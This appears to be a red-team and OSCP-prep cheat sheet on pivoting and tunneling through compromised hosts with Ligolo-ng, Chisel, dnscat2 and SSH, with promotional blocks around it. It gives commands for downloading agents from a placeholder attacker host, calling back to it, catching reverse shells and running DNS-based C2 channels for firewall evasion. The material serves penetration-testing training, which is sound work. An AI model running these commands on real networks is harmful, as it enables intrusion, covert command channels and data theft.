Pivoting & Tunneling
Become VeryLazyTech member! 🎁
Follow us on:
✖ Twitter @VeryLazyTech.
👾 Github @VeryLazyTech.
📜 Medium @VeryLazyTech.
📺 YouTube @VeryLazyTech.
📩 Telegram @VeryLazyTech.
🕵️♂️ My Site @VeryLazyTech.
Visit our shop for e-books and courses. 📚
Intro
When firewalls are the walls, tunneling is the hidden tunnel under them. For red teamers and ethical hackers, tunneling is an art — the ability to send data through a “disguise” so it slips past even the most sophisticated defenses. In this playbook, we’ll explore exactly how hackers use tunneling to bypass any firewall, the tools they rely on, and the strategies that make them so effective.
Understanding Tunneling
At its core, tunneling is like putting a letter inside another envelope. The “inner” data could be anything — from a command-and-control (C2) message to a file exfiltration request — but it’s wrapped in a different protocol, making it look harmless. This concept is called encapsulation, and it allows malicious traffic to blend in with normal network activity.
Legitimate tunneling is everywhere: VPNs, remote desktop connections, and cloud services all use tunneling. The difference with malicious tunneling lies in intent and destination — red teamers use it to emulate attackers, bypass security controls, and maintain persistence during engagements.
Why Hackers Love Tunneling
Firewall evasion: Firewalls usually filter traffic based on ports, protocols, and IPs. Tunneling hides traffic inside allowed protocols like HTTPS or DNS.
Stealth: Network defenders often whitelist certain services. If your malicious data is traveling inside “normal” traffic, it’s less likely to be flagged.
Persistence: Once a tunnel is established, it can remain open and act as a reliable backdoor.
Think of a firewall as a strict nightclub bouncer — tunneling is the fake VIP pass that gets you inside without suspicion.
Common Tunneling Protocols Used in Red Teaming
SSH Tunneling
SSH tunnels can forward ports or create SOCKS proxies, making them versatile for red team ops.
Local port forwarding: Forward a local port to a remote host.
Remote port forwarding: Expose a local service to the attacker’s machine.
Dynamic port forwarding: Create a SOCKS proxy for flexible routing.
Tunneling using Ligolo & Dnscat2 & Chisel
Dnscat2 & Chisel
Ligolo (Direct Subnetting)
Direct Tunneling
Keep in mind that we should have already downloaded the proxy to our attacker machine, and have transfer the agent to the victim.

Find the network mask, for example, if your IP address is X.X.X.X
and the subnet mask is Y.Y.Y.Y
, the network will be X.X.X.X/
followed by the subnet prefix. For instance, with a subnet mask of 255.255.255.0
, the network prefix would be /24
.
Create the interface for ligolo
in my Kali
sudo ip tuntap add user [kali_user] mode tun ligolo
sudo ip link set ligolo up
Enable the proxy server on the attacker machine
# The option -selfcert is for not using a certificate (this will make our communications in clear text), we do not need to encrypt them for the exam.
./ligolo_proxy_linux -selfcert
or
./ligolo_proxy_linux -selfcert -port <DIFFERENT_PROXY_PORT>
Download (bring) the agent program to the victim (in this example Windows)
iwr -uri http://[attacker_ip]/ligolo_agent_windows.exe -UseBasicParsing -Outfile ligolo_agent_windows.exe
Start the client
# The port is the default one, we could also change it if needed.
./ligolo_agent_windows.exe -connect [attacker_ip]:11601 -ignore-cert
or
./ligolo_agent_windows.exe -connect [attacker_ip]:<DIFFERENT_PROXY_PORT> -ignore-cert
Add the route in the Kali
# Run this command in other terminal that from the one where ligolo proxy is running
sudo ip route add [internal_submask]/24 dev ligolo
# Verify routing table
ip route list
Finish setting up the tunneling session
# Run this commands in the ligolo proxy terminal
» session
» start
Double Tunneling
In certain cases, the recently compromised host will have two interfaces, enabling you to explore the network further and find more hosts. In this scenario, you’ll need to execute a double pivot.

Add a second interface
sudo ip tuntap add user [kali_user] mode tun ligolo_double
sudo ip link set ligolo_double up
Create a listener
# The next step is to add a listener on port 11601 to our existing Ligolo session and redirect it to our machine.
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# Verify it's been added
listener_list

Connect to the proxy server
# Next, we need to execute the agent on the Windows host to connect to the forwarded port on our attacker machine
./agent.exe -connect <IP of First Pivot Point>:11601 -ignore-cert

Verify the connection on Kali by checking if the Windows agent has connected via the forwarded port.

Start a tunnel and add a route
# Our last step is to change our session to the second pivot point (Windows), start the tunnel, and then add a route to the newly discovered network at 10.1.30.0/24.
sudo ip add route <New_Network> dev ligolo_double
We’ll be able to interact with the new network from our Kali machine and run all the same tools as we did with the single pivot.


You could continue with a triple pivot using Ligolo, following the same steps as we did with the double pivot.

Local Port Forwarding
Local port forwarding is useful when you encounter an internal server on the victim machine that only accepts connections from the local machine. By using a special hardcoded IP address, Ligolo-ng
facilitates this process; to set up local port forwarding, follow these steps:
Ensure Tunneling is Configured: make sure you have already established the tunneling with Ligolo-ng
and that your network interface is set up correctly as ligolo
.
Add the Special IP Address: use the following command to add a special IP address that Ligolo-ng
recognizes as the local endpoint for port forwarding.
# Add a special hardcoded IP for local port forwarding.
sudo ip route add 240.0.0.1/32 dev ligolo
Explanation
240.0.0.1/32
: this is a special hardcoded IP address thatLigolo-ng
understands; by adding this route, you inform the system to route traffic intended for this IP through theligolo
interface to the victim machine where the client is running.dev ligolo
: this specifies the device (or network interface) through which the routing will occur, ensuring that all traffic directed to240.0.0.1
is channeled through the established tunnel.
Examples: just with that command we can now connect to the internal services of the victim machine, either by using commands or other types of services like HTTP.
┌──(kali㉿Kali)-[~]
└─$ nmap 240.0.0.1 -sV
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
631/tcp open ipp CUPS 2.2
3306/tcp open mysql MySQL 5.7.29-0ubuntu0.18.04.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Reverse Shells From Internal Networks
Setup the Netcat listener in our Kali
nc -nvlp [kali_port]
Setup a listener for the reverse shell in the Ligolo session
listener_add --addr 0.0.0.0:[agent_port] --to 127.0.0.1:[kali_port] --tcp

Run a reverse shell command or a payload created with msfvenom
[command_to_run_reverse_shell] -L [kali_ip]:[kali_port]
or
./payload.exe

File Transfers From Internal Networks
Setup a listener in the Ligolo session
listener_add --addr 0.0.0.0:[agent_port] --to 127.0.0.1:[kali_port] --tcp

Host the file in our Kali
python3 -m http.server [kali_port]

Download the file on the compromised Windows host
Invoke-WebRequest -Uri "http://[agent_ip]:[agent_port]/[file_name]" -OutFile [file_name]

Chisel (HTTP Tunneling)
Remember to first transfer the client program to the victim, you can find the programs and guide on how to transfer files in the Section 18.
Port Forwarding
# In remote machine
chisel server -p <listen-port>
# In local machine
chisel client <listen-ip>:<listen-port> <local-port>:<target-ip>:<target-port>
Reverse Port Forwarding
It is useful when we want to access to the host and the port that cannot be directly accessible from local machine.
Create the forwarding
# In local machine
chisel server -p <LOCAL_PORT> --reverse
# In remote machine
chisel client <LOCAL_IP>:<LOCAL_PORT> R:<LOCAL_FORWARD_PORT>:<REMOTE_IP>:<REMOTE_PORT>
# Replace <LOCAL_PORT> with the port you want Chisel to listen on locally, <LOCAL_IP> with the IP address of your local machine, <LOCAL_FORWARD_PORT> with the port on your local machine to which the remote service will be forwarded, <REMOTE_IP> with the IP address of the remote machine, and <REMOTE_PORT> with the port on the remote machine.
Access the forwarded service
curl http://localhost:<LOCAL_FORWARD_PORT>
Create the forwarding
# In remote
chisel server -p <REMOTE_PORT> --socks5
# In local
chisel client <REMOTE_IP>:<REMOTE_PORT> <LOCAL_PORT>:socks
# Replace <REMOTE_PORT> with the port for the SOCKS proxy on the remote machine, <REMOTE_IP> with the IP address of the remote machine, and <LOCAL_PORT> with the port on your local machine where the SOCKS proxy will be available.
Then modify /etc/proxychains.conf
in local machine
# Comment out the line of "socks4"
# /etc/proxychains.conf
...
socks5 127.0.0.1 <LOCAL_PORT>
Reverse Dynamic SOCKS Proxy
It is useful when we want to access to the host & multiple ports that cannot be directly accessible from local machine.
Create the forwarding
# In local machine
chisel server -p <LOCAL_PORT> --reverse
# In remote machine
chisel client <LOCAL_IP>:<LOCAL_PORT> R:<REMOTE_PORT>:socks
# Replace <LOCAL_PORT> with the port you want Chisel to listen on locally, <LOCAL_IP> with the IP address of your local machine, and <REMOTE_PORT> with the port on the remote machine where the SOCKS proxy will be available.
Then modify /etc/proxychains.conf
in local machine
# /etc/proxychains.conf
...
socks5 127.0.0.1 <REMOTE_PORT>
Confirm that we can access the desired host and port with proxychains
proxychains nmap localhost
Dnscat2 (DNS Tunneling)
Start the dnscat2
server
# Replace [domain] with the chosen domain
dnscat2-server [domain]
Start the dnscat2
client
# With domain
./dnscat --secret=[secret] [domain]
# Directly to server
./dnscat --dns server=[attacker_ip],port=53 --secret=[secret]
Interact with the dnscat2
client from the server
dnscat2> windows
dnscat2> window -i [session_id]
Setting up a port forwarding in dnscat2
command ([session_name]) > listen 127.0.0.1:[local_port] [target_ip]:[target_port]
Connecting to a service through the dnscat2
port forward
# Example command
smbclient -p [local_port] -L //127.0.0.1 -U [username] --password=[password]
🚀 Become a VeryLazyTech Member — Get Instant Access
What you get today:
✅ 70GB Google Drive packed with cybersecurity content
✅ 3 full courses to level up fast
👉 Join the Membership → https://whop.com/verylazytech/
📚 Need Specific Resources?
✅ Instantly download the best hacking guides, OSCP prep kits, cheat sheets, and scripts used by real security pros.
👉 Visit the Shop → https://shop.verylazytech.com/
💬 Stay in the Loop
Want quick tips, free tools, and sneak peeks? Follow us everywhere: ✖ Twitter | 👾 GitHub | 📺 YouTube | 📩 Telegram | 🕵️♂️ Website
Last updated
Was this helpful?